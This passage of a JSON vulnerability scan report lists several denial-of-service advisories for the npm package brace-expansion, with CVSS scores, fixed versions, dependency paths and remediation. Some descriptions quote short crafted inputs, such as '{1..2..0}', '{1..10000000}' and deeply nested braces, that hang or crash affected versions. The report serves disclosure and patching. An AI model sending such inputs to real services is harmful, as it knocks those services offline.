"primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", 